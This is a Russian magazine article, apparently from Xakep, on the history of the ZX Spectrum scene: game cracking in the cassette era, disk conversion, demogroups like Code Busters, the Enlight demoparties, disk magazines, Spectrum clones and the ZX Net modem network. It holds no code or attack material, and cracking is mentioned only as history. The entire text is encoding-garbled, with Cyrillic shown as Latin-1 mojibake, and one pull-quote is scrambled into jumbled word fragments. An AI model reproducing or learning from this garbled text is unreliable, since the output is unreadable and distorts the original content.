çàâîåâàë ðûíîê, è åãî ïðèîáðåëè ìèëëèîíû ëþäåé. Ïîñêîëüêó êîìïüþòåð ïîçèöèîíèðîâàëñÿ êàê èãðîâîé, äëÿ íåãî âñêîðå ïîÿâèëîñü ìíîæåñòâî ñàìûõ ðàçíûõ èãð, ÷òî ñäåëàëî åãî ñåðüåçíûì êîíêóðåíòîì äëÿ èãðîâûõ êîíñîëåé òîãî âðåìåíè. Óñïåõ, âïðî÷åì, äëèëñÿ íåäîëãî. Ê êîíöó 80-õ ãîäîâ ïîïóëÿðíîñòü Ñïåêòðóìà ñíèçèëàñü, åãî ïðîäàæè ðåçêî ñîêðàòèëèñü. Îïðåäåëåííûå ìàðêåòèíãîâûå îøèáêè Êëàéâà Ñèíêëåðà ïðèâåëè ê áàíêðîòñòâó Sinclair Research Ltd., è ïðàâà íà ïðîèçâîäñòâî êîìïüþòåðà âûêóïèëà ôèðìà Amstrad, êîòîðàÿ çàìîðîçèëà åãî âûïóñê.  òî âðåìÿ êàê â Åâðîïå Ñïåêòðóì ìåäëåííî óìèðàë, â íàøåé ñòðàíå îí òîëüêî íà÷èíàë ñâîå ðàçâèòèå. Áëàãîäàðÿ ïðîñòîé ñõåìå êîìïüþòåð ìîæíî áûëî ëåãêî ñîáðàòü, ÷òî

XÀÊÅÐ 02 /86/ 06

Max Iwamoto èç ëåãåíäàðíîé Code Busters

îäèí èç ëó÷øèõ êîäåðîâ íà Ñïåêòðóìå RST7^Codebusters

ïðèâëåêëî ê íåìó íàøèõ ïðîèçâîäèòåëåé. Íåçíàêîìûå ñ ïîíÿòèåì «àâòîðñêèå ïðàâà», äåñÿòêè êîîïåðàòèâîâ â íà÷àëå 90-õ ãîäîâ íàëàäèëè âûïóñê ZX-Spectrum’îâ. Ïðîáëåì ñ ñîôòîì òîæå íå áûëî: ïðîõîäÿ ÷åðåç ñîöèàëèñòè÷åñêèå ñòðàíû, òàêèå êàê Ïîëüøó, ïðîãðàììû íåïðåðûâíûì ðó÷üåì ïîòåêëè íà ðûíêè ñòðàí ÑÍÃ. Ê ñåðåäèíå 90-õ ãîäîâ Ñïåêòðóì â íàøåé ñòðàíå óæå áûë ïîíàñòîÿùåìó ïîïóëÿðåí. Ïðè÷åì, â îòëè÷èå îò åâðîïåéñêèõ þçåðîâ, íàøè óìåëüöû ïûòàëèñü åãî âñÿ÷åñêè ìîäåðíèçèðîâàòü, ÷òî â èòîãå ïðèâåëî ê ðàñøèðåíèþ ïàìÿòè äî 128 êèëîáàéò è çàìåíå ïðîñòåíüêîãî áèïåðà òðåõêàíàëüíûì ìóçûêàëüíûì ïðîöåññîðîì Yamaha. Êîíå÷íî, äëÿ ìíîãèõ ðàííèõ ñïåêòðóìèñòîâ speccy (òàê ïðîçâàëè Ñïåêòðóì) ñëóæèë â êà÷åñòâå èãðîâîé ìàøèíû, íî ñî âðåìåíåì Sabateur, Dizzy è äðóãèå èãðóøêè ïðèåëèñü, òàê êàê õîòåëîñü ÷åãî-òî áîëüøåãî. È íàðîä ïðèíÿëñÿ òâîðèòü. Êòî-òî ýêñïåðèìåíòèðîâàë ñ ìóçûêîé, èñïîëüçóÿ ïðèìèòèâíûé ðåäàêòîð Wham! èëè ïåðâûé ðåäàêòîð òðåêîâ Sound Tracker, êòî-òî ñòàë ðèñîâàòü ãðàôèêó â ðåäàêòîðå Art Studio, äàþùåì êó÷ó èíñòðóìåíòîâ äëÿ ñîçäàíèÿ öâåòíûõ êàðòèíîê. Òîëüêî ñ ïðîãðàììèðîâàíèåì áûëè ñëîæíîñòè: íà ïðîøèòîì â ÏÇÓ BASIC’å ìîæíî áûëî ñîçäàòü ïðîãðàììû, íî ñêîðîñòü èõ ðàáîòû îñòàâëÿëà

085


æåëàòü ëó÷øåãî. Ñ ìèíóòíûìè ïàóçàìè ïðè ïîñòðîåíèè ôóíêöèé î ñîçäàíèè ïîëíîöåííûõ èãð íå÷åãî áûëî è ìå÷òàòü. Íî èãðû òàêèå áûëè, è êàê-òî èõ äåëàëè! Âûøåäøàÿ â èçäàòåëüñòâå «Ïèòåð» êíèãà Ëàð÷åíêî è Ðîäèîíîâà «ZX Spectrum äëÿ ïîëüçîâàòåëåé è ïðîãðàììèñòîâ» ïîçíàêîìèëà þçåðîâ ñ îñíîâàìè àññåìáëåðà. Èìåííî ýòîò ÿçûê îòêðûâàë äâåðè ê íàñòîÿùåìó ïðîãðàììèðîâàíèþ. Íî òàê ïðîñòî ñîçäàòü ÷òîòî âïå÷àòëÿþùåå, äàæå çíàÿ ÿçûê, áûëî íåâîçìîæíî. Áóäóùèì êîäåðàì ïðåäñòîÿëî åùå ïðîéòè øêîëó êðýêèíãà. ÑRACKED BY BILL GILBERT

086

ïðîãðàììà Macro Modem äëÿ ðàáîòû ñ ZX Net

ãàçåòà ZX News TR-DOS – çàãðóçî÷íàÿ ñèñòåìà ZX-Spectruma

Virtual TR-DOS, öåíòðîâîé ðåñóðñ î Ñïåêòðóìå

Illusion – äåìêà, ïîáåäèâøàÿ â ZX äåìîêîìïî íà Enlight 96

Enlight 95 — ïåðâàÿ äåìîïàòè â Ðîññèè

èãðà «Ïîëå ×óäåñ» îò ðóññêèõ ïðîãðàììåðîâ

ÑÖÅÍÀ ///// ISSUE

 ýðó 48-êèëîáàéòíûõ êîìïüþòåðîâ ñîôò ïîñòàâëÿëñÿ íà êàññåòàõ, è ýòî áûëè, êàê ïðàâèëî, òîëüêî åâðîïåéñêèå èãðû, íàïèñàííûå âî âòîðîé ïîëîâèíå 80-õ ãîäîâ. Ñàìî ñîáîé, âñå îíè áûëè çàùèùåíû îò êîïèðîâàíèÿ, è ÷òîáû íåïëàòåæåñïîñîáíûé ñîâåòñêèé þçåð ìîã ïîèãðàòü â òàêóþ èãðóøêó, åå òðåáîâàëîñü êðýêíóòü. Âçëîìîì çàíèìàëèñü ïðåèìóùåñòâåííî â Ïîëüøå. Ìíîãèå ñïåêòðóìèñòû íàâåðíÿêà ïîìíÿò íàäïèñü Cracked by Bill Gilbert â çàãðóç÷èêàõ ìíîãèõ èãðóøåê. Áèëë Ãèëáåðò ñòàë ïîèñòèíå ìèôè÷åñêîé ëè÷íîñòüþ — òàêîãî êîëè÷åñòâà ïðîãðàìì íå ñëîìàë, íàâåðíîå, íè îäèí õàêåð. Õîäèëè ñëóõè, ÷òî ïîä ýòèì ïñåâäîíèìîì ðàáîòàëà

XÀÊÅÐ 02 /86/ 06


ÒÅÐΠËÎÁÀÉÒÍÛÕ ÊÎÌÏÜÞÒ ÊÈË Ó 48-Ê Â ÝÐÓ ß ÍÀ ÊÀÑÑÅÒÀÕ, ÑÎÔÒ ÏÎÑÒÀÂËßËÑß ËÜÊÎ ÅÂÐÎËÈ, ÊÀÊ ÏÐÀÂÈËÎ, ÒÎË È ÝÒÎ ÁÛË ÂÎ ÂÒÎÐÎÉ ÏÅÉÑÊÈÅ ÈÃÐÛ, ÍÀÏÈÑÀÍÍÛÅ ÄÎÂ. Õ ÃÎÄ ÏÎËÎÂÈÍÅ 80-Õ öåëàÿ ïîëüñêàÿ õàêåðñêàÿ ãðóïïà. Äðóãèå óòâåðæäàëè, ÷òî âèäåëè Áèëëà Ãèëáåðòà ëè÷íî, è ñåé÷àñ îí ëîìàåò ÷òî-òî äëÿ PC. Êàê îíî áûëî íà ñàìîì äåëå, òåïåðü óæå íåâàæíî, íî ôàêò îñòàåòñÿ ôàêòîì: èãðà âûïóñêàëàñü â Âåëèêîáðèòàíèè, ëîìàëàñü â Ïîëüøå è óæå â êðýêíóòîì âèäå îêàçûâàëàñü ó ðîññèéñêîãî ïîëüçîâàòåëÿ. Êîãäà â îáèõîä âîøëè äèñêîâîäû, çàïóñêàòü èãðóøêè ñ äèñêåò îêàçàëîñü íàìíîãî áûñòðåå è óäîáíåå. Äëÿ òîãî ÷òîáû çàïèñàííàÿ íà êàññåòó èãðà ìîãëà ãðóçèòüñÿ ñ äèñêåòû, íåîáõîäèìî áûëî èçìåíèòü çàãðóç÷èê, à èìåííî: âñòàâèòü â çàãðóç÷èê íà áåéñèêå ïàðó äîïîëíèòåëüíûõ ñòðîê. Íåêîòîðûå çàãðóç÷èêè îêàçûâàëèñü áîëåå çàùèùåííûìè è áûëè íàïèñàíû íà àññåìáëåðå. Þçåðû, êîòîðûå õîòåëè ïåðåãíàòü ñâîè êîëëåêöèè ñ êàññåò â áîëåå óäîáíûé ôîðìàò, âûíóæäåíû áûëè âî âñåì ðàçáèðàòüñÿ ñàìîñòîÿòåëüíî. Âûøåäøàÿ â òîì æå èçäàòåëüñòâå «Ïèòåð» êíèãà Í. Ðîäèîíîâà «Ñåêðåòû TR-DOS» ïîìîãëà ñïåêòðóìèñòàì óçíàòü î ìíîãèõ ðàñïðîñòðàíåííûõ â òî âðåìÿ çàùèòàõ, â ïåðâóþ î÷åðåäü — íà àññåìáëåðå. Åå àâòîð âïåðâûå óïîòðåáèë ñëîâî «êñîðêà», îçíà÷àâøåå çàùèòó èíôîðìàöèè ñ ïîìîùüþ êîìàíäû àññåìáëåðà XOR. Èíòåðåñíî, ÷òî ýòî ïîñîáèå äëÿ õàêåðîâ ñàì ÿ êóïèë â «Äîìå Êíèãè» (êíèæíûé ìàãàçèí â Ïåòåðáóðãå). Ëþäè ó÷èëèñü âçëàìûâàòü ÷óæèå çàùèòû è äåëàòü ñâîè, è ïîñòåïåííî äèñêîôèêàöèÿ ïðîãðàìì ñòàëà ëþáèìûì ðàçâëå÷åíèåì ìíîãèõ ñïåêòðóìèñòîâ. Íóæíî ëè ãîâîðèòü, ÷òî ìíîãèå äèñêîôèöèðîâàííûå ïðîãè áûëè çàùèùåíû îò âçëîìà íàìíîãî ëó÷øå îðèãèíàëà? ÐÀÇÂÈÒÈÅ ÄÅÌÎÌÅÉÊÈÍÃÀ Ïîêóïàÿ äèñêè ñ èãðàìè, ñî âðåìåíåì ñïåêòðóìèñòû ñòàëè íàõîäèòü íà íåêîòîðûõ èç íèõ ñòðàííûå ïðîãðàììû, êîòîðûå íå ÿâëÿëèñü íè èãðàìè, íè ñèñòåìíûìè óòèëèòàìè.  íèõ ïîä ìóçûêó âðàùàëèñü ãåîìåòðè÷åñêèå ôèãóðû, ñîñòàâëåííûå èç òî÷åê è ëèíèé, à ïî ýêðàíó ïëàâíî øåë òåêñò, íàïèñàííûé íà ïîëüñêîì ÿçûêå. Ýòî áûëè ïåðâûå ñïåêòðóìîâñêèå äåìêè, ñîçäàííûå ñ åäèíñòâåííîé öåëüþ — ïîêàçàòü ìàñòåðñòâî ïðîãðàììèñòà. Ïîëüçû îíè íå íåñëè, íî ñìîòðåòü èõ áûëî ïðèÿòíî. Ïåðâîé õèòîâîé ñïåêòðóìîâñêîé äåìîé ñòàëà Lyra II Megademo. Ñîñòîÿëà îíà èç íåñêîëüêèõ ÷àñòåé, êàæäàÿ èç êîòîðûõ èìåëà ñâîè óíèêàëüíûå ýôôåêòû è ìóçûêàëüíûé òðåê. Ïðè÷åì èç íà÷àëüíîãî ìåíþ ìîæíî áûëî çàãðóçèòü ëþáóþ ÷àñòü â ïðîèçâîëüíîì ïîðÿäêå. Åùå äâå äåìêè, êîòîðûå íàâñåãäà âîøëè â èñòîðèþ: Satisfaction è Shock Megademo. Âñå òðè äåìû (à òàêæå ïåðâàÿ Lyra) áûëè íàïèñàíû ðóññêèìè ïðîãðàììèñòàìè — Max Iwamoto è RST 7 — èç ãðóïïû Code Busters, êîòîðûå î÷åíü áûñòðî ñòàëè ëåãåíäàìè ZX Ñöåíû. Äåìêè ñîäåðæàëè íåâèäàííûå ðàíåå íà ñïåêòðóìå ýôôåêòû, êîòîðûå ïîçæå áûëè âçÿòû íà âîîðóæåíèå ïðàêòè÷åñêè âñåìè äåìîìåéêåðàìè.  Satisfaction, ê ïðèìåðó, âïåðâûå ìîæíî áûëî óâèäåòü «ìóëüòèêîëîðíûé» ñêðîëëèíã. Íà ñïåêòðóìå, êàê èçâåñòíî, âñåãî 16 öâåòîâ, è â çíàêîìåñòå (8õ8 ïèêñåëåé) ìîæåò áûòü òîëüêî äâà öâåòà. Ýòî îãðàíè÷åíèå îáõîäèëîñü ïðîãðàììíûì ïóòåì: áûñòðî íàêëàäûâàÿ è ñèíõðîíèçèðóÿ â îäíîì ìåñòå íåñêîëüêî öâåòîâ, ìîæíî ïîëó÷àòü öâåòà, íå ïðåäóñìîòðåííûå àïïàðàòíî. Êðîìå òîãî, â íèõ âïåðâûå áûëà èñïîëüçîâàíà öèôðîâàÿ ìóçûêà: ïåñíÿ Unforgiven ãðóïïû Metallica çâó÷àëà íà Ñïåêòðóìå êàê íå÷òî ôàíòàñòè÷åñêîå. Èìåííî íàõîæäåíèå íåñòàíäàðòíûõ ïóòåé è ðåøåíèé ñòàëî òåì çíàìåíåì, ïîä êîòîðûì ïîøëè ñïåêòðóìèñòû â ïîñëåäóþùèå ãîäû. Ñåé÷àñ áûâøèå ìåìáåðû Code Busters ðàáîòàþò ïðîãðàììèñòàìè â Àìåðèêå — òàêàÿ ñóäüáà ó ìíîãèõ ðóññêèõ ZX êîäåðîâ. Îñîçíàíèå òîãî, ÷òî ýòî âîçìîæíî, äàëî ñòèìóë ñîçäàâàòü ñâîè äåìêè. Ê ýòîìó âðåìåíè ñïåêòðóìèñòû äåëèëèñü íà òðè êàòåãîðèè: õóäîæíèêè, ìóçûêàíòû è êîäåðû (ïðîãðàììèñòû). Ïðîñòî ïîëüçîâàòåëåé, íå óìåþùèõ è íå äåëàþùèõ íè÷åãî, áûëî êðàéíå ìàëî. Äëÿ äåìîíñòðàöèè ðàáîò è ïðîñòî ñîâìåñòíîé òóñîâêè ñòàëè îðãàíèçîâûâàòüñÿ äåìîïàòè, ïåðâûì èç êîòîðûõ ñòàë Enlight. Ñîñòîÿëñÿ îí â 1995 ãîäó â Ïèòåðå è ñîáðàë îêîëî 100 ÷åëîâåê. Ñëåäóþùèé Enlight ïðîøåë ÷åðåç ãîä, åãî ïîñåòèëî óæå âäâîå áîëüøå ëþäåé. Ýòè äåìîïàòè áûëè ïî-íàñòîÿùåìó àíäåãðàóíäîâûìè: ëþäè ïðèíåñëè ñâîè êîìïüþòåðû, â êà÷åñòâå ïðîåêòîðîâ èñïîëüçîâàëèñü ñòàðåíüêèå òåëåâèçîðû, à â êà÷åñòâå èñòî÷íèêà çâóêà ñëóæè-

XÀÊÅÐ 02 /86/ 06

ëè êîëîíêè, ðàñêèäàííûå ïî çàëó (èç íèõ ñàìûå ìîùíûå áûëè ãäåòî ïîä ëåñòíèöåé), ïðè ýòîì ïîñòîÿííî îòâàëèâàëèñü êàáåëè, ñîåäèíÿâøèå àïïàðàòóðó (íå áåç ó÷àñòèÿ ïîñåòèòåëåé, êîòîðûå ïîïðîñòó îá íèõ ñïîòûêàëèñü). Íî âñå ýòè «óæàñû» íèêîãî íå îòïóãèâàëè. Òî, ÷òî ïîêàçûâàëîñü íà ìîíèòîðàõ, è æèâîå îáùåíèå ñòîðèöåé îêóïàëè îðãàíèçàöèîííûå íåäî÷åòû. Íà Enlight 96 â êàòåãîðèè «ZX-äåìî» ñâîè ðàáîòû âûñòàâèëè âåäóùèå äåìîãðóïïû ÑÍÃ: Code Busters (Õàðüêîâ), Digital Reality (Íîâãîðîä), X-Trade (Ïåòåðáóðã), RUSH (Ìîñêâà) è äðóãèå. Èõ óðîâåíü ïðåâûøàë âñå, ñîçäàííîå íà ñïåêòðóìå ðàíåå, êàê ïîëüñêèìè ïðîãðàììèñòàìè-ëþáèòåëÿìè, òàê è âåäóùèìè åâðîïåéñêèìè èãðîâûìè êîìïàíèÿìè. Enlight 97 ñîñòîÿëñÿ â àêòîâîì çàëå Êîðàáëåñòðîèòåëüíîãî Èíñòèòóòà â Ïåòåðáóðãå, ñúåõàëîñü íà íåãî íàìíîãî áîëüøå ëþäåé, ÷åì ïëàíèðîâàëè îðãàíèçàòîðû — ïîðÿäêà ïîëóòîðà òûñÿ÷. Ìíîãèå ñåáÿ âåëè ïî-õàìñêè, ïðîíîñèëè â çàë ïèâî, ðàçðèñîâûâàëè ñòåíû êîìïüþòåðíîé ñèìâîëèêîé.  ðåçóëüòàòå òåðïåíèå îðãàíèçàòîðîâ ëîïíóëî, è âòîðîé äåíü áûë îòìåíåí. Êîíå÷íî, òåõ, êòî ñïåöèàëüíî ïðèåõàë íà ïàòè èç Óêðàèíû, Áåëîðóññèè è áîëåå îòäàëåííûõ ñòðàí, ýòî ðåøåíèå âîçìóòèëî, è èíöèäåíò ïîòîì åùå äîëãî îáñóæäàëñÿ â ýëåêòðîííîé ïðåññå. ÑÏÅÊÒÐÓÌÎÂÑÊÀß ÏÐÅÑÑÀ Îäíîâðåìåííî ñ çàðîæäåíèåì ZX-ñöåíû â ñòðàíå ïîÿâèëîñü áîëüøîå êîëè÷åñòâî òàê íàçûâàåìûõ äèñêìàãîâ è å-çèíîâ. Ïî ñóòè, ýòî òå æå æóðíàëû è ãàçåòû, òîëüêî ñäåëàííûå â âèäå ïðîãðàìì è èìåþùèå ñâîå îôîðìëåíèå, ñîäåðæàíèå è ìóçûêàëüíîå ñîïðîâîæäåíèå. Ñòàðåéøèì ñïåêòðóìîâñêèì ýëåêòðîííûì æóðíàëîì ìîæíî ñ÷èòàòü Spectrofon ïîä ðåäàêöèåé Äìèòðèÿ Ìàòâååâà. Ïðîåêò áûë êîììåð÷åñêèì, ÷òî ïîëîæèòåëüíî âëèÿëî êàê íà êà÷åñòâî, òàê è íà ïåðèîäè÷íîñòü âûõîäà äèñêìàãà. Ïåðâûé íîìåð Spectrofon’à âûøåë â íà÷àëå 1994 ãîäà, èìåë óíèêàëüíóþ îáîëî÷êó (ñòàòüè âûáèðàëèñü èç ìåíþ íàæàòèåì ñîîòâåòñòâóþùåé öèôðîâîé êëàâèøè) è ïîñòîÿííûå ðóáðèêè (Ýêñïåðòèçà, Äåáþò, Ñ ìèðó ïî áèòó, Îáçîð, Ñèñòåìà, Ãîðÿ÷èé ïðèâåò). Íà ïðîòÿæåíèè ïîëóòîðà ëåò ýòîò åæåìåñÿ÷íûé äèñêìàã îñòàâàëñÿ îñíîâíûì ñïåêòðóìîâñêèì ýëåêòðîííûì èçäàíèåì. Äîñòîéíûé îòâåò ìîñêâè÷àì Ïèòåð äàë òîëüêî â 1995 ãîäó ñ âûïóñêîì æóðíàëà ZX-Format. Ñîçäàòåëè íå ñòàëè êîïèðîâàòü èäåè ñïåêòðîôîíà, ïðèäàâ ñâîåìó äåòèùó ñîâåðøåííî íîâûé âèä. Ñòàòüè òåïåðü âûáèðàëèñü êóðñîðîì â îäíîì èç âñïëûâàþùèõ îêîí, ìíîãèå ðóáðèêè èìåëè ïîäðóáðèêè. Ïîìèìî ýòîãî, â êàæäîì ïðèëîæåíèè æóðíàëà ìîæíî áûëî íàéòè ñâåæèé ñîôò è èãðû. Äëÿ âñåõ ñòàòåé çâó÷àëè ðàçíûå êîìïîçèöèè, íàïèñàííûå èçâåñòíûìè ìóçûêàíòàìè Ironman è DNK, à â êà÷åñòâå îáëîæêè ñëóæèëà âåëèêîëåïíàÿ êàðòèíêà. Ñòàòüè ïóáëèêîâàëèñü íà ñàìûå ðàçíûå òåìû: îò íîâîñòåé è ðàçëè÷íûõ îáçîðîâ äî îáúåìíûõ òåõíè÷åñêèõ äîêóìåíòàöèé äëÿ ïðîäâèíóòûõ êîäåðîâ. Åäèíñòâåííûì ìèíóñîì ZX-Format’à áûëè áîëüøèå çàäåðæêè ñ âûõîäîì, íî áëàãîäàðÿ åãî êà÷åñòâó êàæäûé ñëåäóþùèé íîìåð ñòàíîâèëñÿ ñîáûòèåì äëÿ Spectrum-ñöåíû. Ðåäàêòîð æóðíàëà (Ruster) ïðèñóòñòâîâàë íà âñåõ òóñîâêàõ ñïåêòðóìèñòîâ è ñòàðàëñÿ áûòü â êóðñå âñåõ ñîáûòèé, ÷òîáû èíôà âñåãäà áûëà àêòóàëüíîé. Èç ãàçåò ìîæíî óïîìÿíóòü ìîñêîâñêóþ Nicron ïîä ðåäàêöèåé Wlodek Black’à (îíà, êñòàòè, âûõîäèò äî ñèõ ïîð!), ïèòåðñêóþ ZX News, BornDead, Heresy, Online, ZX Pilot è ìíîãèå äðóãèå. Ýòè èçäàíèÿ îñâåùàëè æèçíü ñöåíû, èç íèõ ñïåêòðóìèñòû óçíàâàëè î íîâûõ ïðîåêòàõ, òóñîâêàõ, èíòåðåñíûõ ëþäÿõ è äàæå ìîãëè ñ èõ ïîìîùüþ ïåðåïèñûâàòüñÿ. Áëàãîäàðÿ ýëåêòðîííîé ïðåññå ïîÿâèëîñü ïîíÿòèå «ýëèòà». Ýòî ëþäè, êîòîðûå âíåñëè â ðàçâèòèå ñöåíû îïðåäåëåííûé âêëàä è ïðî êîòîðûõ âñå çíàëè. Îíè áûëè ïðîñòûìè øêîëüíèêàìè è ñòóäåíòàìè, ñ êîòîðûìè, â îòëè÷èå îò ãîëëèâóäñêèõ çâåçä, ìîæíî áûëî çàïðîñòî ïîîáùàòüñÿ è ïîïèòü ïèâî â òóñîâî÷íûõ ìåñòàõ ñïåêòðóìèñòîâ. Òàêèìè ìåñòàìè îáû÷íî ñòàíîâèëèñü òî÷êè ïðîäàæè äèñêîâ ñ ñîôòîì è æåëåçÿ÷íûå ðûíêè. Íàïðèìåð, â Ïèòåðå ïîïóëÿðíûìè ìåñòàìè äëÿ âñòðå÷ ñòàëè ðûíîê «Þíîíà» â Àâòîâî è ìàãàçèí «Ëîãðîñ» âîçëå ìåòðî «Ïåòðîãðàäñêàÿ».  «Ëîãðîñå» êàæäûé âòîðíèê è ÷åòâåðã (âðåìÿ ðàáîòû ìàãàçèíà) ìîæíî áûëî âñòðåòèòü èçâåñòíîãî ñïåêòðóìîâñêîãî ãåéìäåâåëîïåðà Ñëàâó Ìåäíîíîãîâà, ðåáÿò èç Volgasoft, Style

087


ÑÖÅÍÀ ///// ISSUE

ÐÀÇÂÈÒÈÅ PC ÁÛËÎ ÑÒÐÅÌÈÒÅË ÜÍÛÌ,  ÒÎ ÂÐÅÌß ÊÀÊ Â ZX ÄÅÍÜÃÈ ÏÐÀÊÒÈ×ÅÑÊÈ ÍÈÊÒÎ ÍÅ ÂÊËÀÄÛÂÀË, È ÏÎÄ ÄÅÐÆÈÂÀËÈ ÅÃÎ ÒÎËÜÊÎ ÝÍÒÓÇÈÀÑÒÛ. ñýð Êëàéâ Ñèíêëåð, îòåö Ñïåêòðóìà

Group, Discovery è äðóãèõ. Òàì æå ñöåíåðû ìîãëè ïîêàçàòü ñòîðîæèëàì ñâîè ïîäåëêè è âîéòè â ñîñòàâ êàêîé-íèáóäü ãðóïïû. Ê 1996 ãîäó â Ïåòåðáóðãå íàñ÷èòûâàëîñü îêîëî äåñÿòêà àêòèâíûõ ñïåêòðóìîâñêèõ ãðóïï è îêîëî 100 ÷åëîâåê, çàíèìàþùèõñÿ ñîçäàíèåì âûñîêîêà÷åñòâåííûõ ïðîãðàìì è äåìîê. ÆÅËÅÇÎ Ïîñëå òîãî êàê â íà÷àëå 90-õ ïîÿâèëèñü äèñêîâîäû (ìóçûêàëüíûé ïðîöåññîð Yamaha è ðàñøèðåííàÿ ïàìÿòü), îíè áûñòðî ñòàëè ñòàíäàðòîì äå-ôàêòî äëÿ âñåõ àêòèâíûõ ñïåêòðóìèñòîâ. Òå, êòî ïî êàêîé-òî ïðè÷èíå åùå ïîëüçîâàëñÿ 48-êèëîáàéòíûìè êàññåòíûìè ðàðèòåòàìè, ñòðåìèëèñü êàê ìîæíî áûñòðåå ïðîèçâåñòè àïãðåéä, òàê êàê ðàçíèöà ìåæäó íèìè áûëà âåëèêà . Íî íà ýòîì ðàçðàáîòêà íîâîãî æåëåçà íå îñòàíàâëèâàëàñü. Æåëåçÿ÷íèêè íå õîòåëè îòñòàâàòü îò êîäåðîâ, è âñå âðåìÿ èñêàëè ñïîñîáû óâåëè÷èòü âîçìîæíîñòè ñòàðîãî äîáðîãî ñïåêêè.  90-õ ãîäàõ ñóùåñòâîâàëî íåñêîëüêî áàçîâûõ ñõåì Ñïåêòðóìà, íîñèâøèõ òàêèå íàçâàíèÿ, êàê Pentagon, Ëåíèíãðàä, Çîíîâñêàÿ è ò.ä. Ïîçæå ñòàëè âûïóñêàòüñÿ ðàçíîâèäíîñòè, èìåþùèå ñâîå ñîáñòâåííîå íàçâàíèå, òàê íàçûâàåìûå ñïåêòðóì-ñîâìåñòèìûå êîìïüþòåðû: KAY, Scorpion, êîòîðûå, ïî ñóòè, îòëè÷àëèñü òîëüêî óâåëè÷åííîé äî 256-1024 Êá ïàìÿòüþ, óñêîðåííûì äî 7 MHz ïðîöåññîðîì è íåêîòîðûìè ïðèÿòíûìè áîíóñàìè.  1996 ãîäó Dangerous èç ãðóïïû X-Trade ïðåäñòàâèë íîâóþ çâóêîâóþ êàðòó äëÿ ZX — General Sound. Îíà èìåëà ñîáñòâåííûé ïðîöåññîð Z80 íà 12 MHz, 128 èëè 512 Êá îïåðàòèâíîé ïàìÿòè è áûëà ñïîñîáíà ïðîèãðûâàòü 4-êàíàëüíûå mod’û, ðàñïðîñòðàíåííûå â ñâîå âðåìÿ íà Àìèãå è PC-ôîðìàòå. Îäíèì èç óñòðîéñòâ, ïîäíÿâøèõ Ñïåêòðóì íà íîâûé óðîâåíü, ñòàë HDD-êîíòðîëëåð, êîòîðûé ïîçâîëÿë ïîäêëþ÷àòü ê speccy âèí÷åñòåð. ×óòü ïîçæå äîáàâèëè ïîääåðæêó CD-ROM. Ñåé÷àñ íà Ñïåêòðóìå ìîæíî ÷èòàòü äàæå DV-äèñêè, à â áëèæàéøåå âðåìÿ áóäåò ðåàëèçîâàíà è çàïèñü CD-R(W) è DVD-R(W). Ñ ïîÿâëåíèåì HAYES-ìîäåìà, ñïåêòðóìèñòû ñìîãëè âûõîäèòü ñî ñâîåé äîìàøíåé ìàøèíû â ñåòü FIDO. À çàòåì îáçàâåëèñü è ñîáñòâåííîé ñåòüþ ZX Net. ZX NET Êóïèòü ìîäåì äëÿ Ñïåêòðóìà ìîæíî áûëî åùå â 1994 ãîäó. Ñîçäàë è ïðîäàâàë åãî íåêòî Óñîâ — ó÷èòåëü èíôîðìàòèêè â ïèòåðñêîé øêîëå. Ýòî áûë îäíî÷àñòîòíûé ìîäåì, ðàáîòàþùèé òîëüêî íà ïðèåì èëè ïåðåäà÷ó. Âñÿ îáðàáîòêà ïåðåäàâàåìîé èíôîðìàöèè ïðîâîäèëàñü ïðîãðàììíî, êàê è êîíòðîëü îøèáîê. Òåì íå ìåíåå, ýòîò ìîäåì ïîçâîëÿë îáìåíèâàòüñÿ èíôîðìàöèåé ìåæäó äâóìÿ ñïåêòðóìàìè íà ñêîðîñòÿõ 600 è 1800 áîä ïî ïðîòîêîëó Xmodem. Îäíàêî ñóùåñòâîâàë áîëüøîé íåäîñòàòîê: òåðìèíàëüíàÿ ïðîãðàììà ïðè ðàáîòå òðåáîâàëà ïðèñóòñòâèÿ àäìèíà, òàê êàê äàæå îáìåí ôàéëàìè ïðîõîäèë âðó÷íóþ. Ïîýòîìó ñåòè íà ýòîé îñíîâå ïîñòðîèòü åùå áûëî íåëüçÿ.  òî âðåìÿ ñóùåñòâîâàëî 2 ñòàíöèè, êóäà ñî ñâîèõ ìîäåìîâ ìîãëè çàõîäèòü ñïåêòðóìèñòû, íî îíè ðàáîòàëè íà PC è áûëè êðàéíå íåóäîáíûìè â îáðàùåíèè. Íà ïðîøåäøåé â 1996 ãîäó äåìîïàòè Enlight ñîñòîÿëàñü âñòðå÷à äâóõ ëþäåé: Àëåêñàíäðà Ìàéîðîâà (MAS) è Àëåêñåÿ Ìèõàéëîâà (Arno), êîòîðûå ðåøèëè îáúåäèíèòüñÿ â ãðóïïó. Èõ îñíîâíûì ïðîåêòîì ñòàëà ïîëíîöåííàÿ ïðîãðàììà äëÿ ìîäåìíîé ñåòè. Ïåðâûì øàãîì Omega Group áûëî ñîçäàíèå ýëåêòðîííîé ãàçåòû ZX News. Ýòî èçäàíèå âûõîäèëî åæåíåäåëüíî è âûêëàäûâàëîñü â ñâîáîäíîì äîñòóïå íà òåõ ñàìûõ äâóõ ïèñèøíûõ ñòàíöèÿõ. Êà÷åñòâåííàÿ ãðàôèêà, îðèãèíàëüíàÿ ìóçûêà è àêòóàëüíûå ñòàòüè ñäåëàëè ýòó ãàçåòó î÷åíü ïîïóëÿðíîé. Îòâåòñòâåííûì çà âûïóñê ZX News ñòàë Arno, â òî âðåìÿ êàê MAS áðîñèë âñå ñâîè ñèëû íà íàïèñàíèå ñïåêòðóìîâñêîé ïðîãðàììû, àâòîìàòè÷åñêè ïðèíèìàþùåé âõîäÿùèå çâîíêè ïîëüçîâàòåëåé.

088

Êîãäà îíà áûëà ãîòîâà, è ñïåêòðóìèñòû îáðåëè âîçìîæíîñòü ïîñòðîèòü ïîëíîöåííóþ ìîäåìíóþ ñåòü, íåçàâèñèìóþ îò PC, ïîÿâèëîñü ñðàçó íåñêîëüêî ñïåêîâñêèõ BBS. Ïðè÷åì èõ âíåøíèé âèä è âîçìîæíîñòè ìîãëè äàòü ôîðó ïèñèøíûì áîðäàì: öâåòíàÿ ãðàôèêà, ðàáîòà ñ äèñêîì BBS, êàê ñî ñâîèì ñîáñòâåííûì, ïðîñòîòà âî âñåì… Äëÿ ñâÿçè ìåæäó îòäåëüíûìè ñåòÿìè â ðàçíûõ ãîðîäàõ èñïîëüçîâàëè FIDOnet. Áûë âûðàáîòàí åäèíûé ôîðìàò ïèñåì, ïðàâäà, âìåñòî.pkt èñïîëüçîâàëñÿ óïðîùåííûé .txt. Òàê îáðàçîâàëàñü ZX Net, îáúåäèíèâøàÿ äåñÿòêè ãîðîäîâ: 